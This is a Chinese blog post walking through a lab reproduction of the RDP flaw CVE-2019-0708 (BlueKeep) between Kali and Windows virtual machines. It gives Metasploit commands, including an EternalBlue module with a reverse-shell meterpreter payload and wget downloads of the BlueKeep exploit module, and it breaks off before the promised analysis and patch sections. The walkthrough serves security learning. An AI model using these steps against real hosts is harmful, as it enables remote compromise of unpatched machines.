CVE20190708复现

最新推荐文章于 2024-08-18 21:23:41 发布

011 迟早会秃

最新推荐文章于 2024-08-18 21:23:41 发布

阅读量5k

点赞数 1

分类专栏：网络文章标签：漏洞 CVE

本文链接：https://blog.csdn.net/qq_45284666/article/details/102883500

版权

本文介绍了CVE20190708漏洞的复现过程，包括实验环境配置、攻击准备（使用Metasploit Framework）、原理分析以及修补方案。通过在Kali Linux上利用msfconsole进行攻击，展示了如何针对Windows Server 2000的RDP漏洞进行远程代码执行。同时，解释了漏洞的产生原因，即RDP连接序列在信道安全属性设置前建立，导致堆内存破坏。建议受影响的系统及时安装微软发布的安全补丁。

摘要由CSDN通过智能技术生成

一、实验环境
基于虚拟机运行（VMware）
(1)靶机（ip:192.168.8.*）：
在这里插入图片描述
(2)测试机(192.168.8.#)：

(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中，将VMnet0采用桥接模式，并桥接到网线网上

b.设置win7为动态获取ip

c.打开/etc/network/interfaces文件，做如下修改，并保存，重启kali
在这里插入图片描述
eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7

kali
互ping测试（关掉防火墙）

测试可以ping通，现在测试机和靶机在同一网段了。
（3）将靶机的相应端口打开
在这里插入图片描述
在防火墙中更改入站设置，同时关闭防火墙，打开3389端口

观察可知，3389端口已打开

二、攻击准备（kali中操作）
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。

进入框架：msfconsole
使用search命令查找相关漏洞： search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息： info
设置攻击载荷：set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数：show options
设置参数：set RHOST 192.168.125.138
攻击：exploit / run

(1)更新kali msf

apt-get update
apt-get  install metasploit-framework

(2)下载利用脚本

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce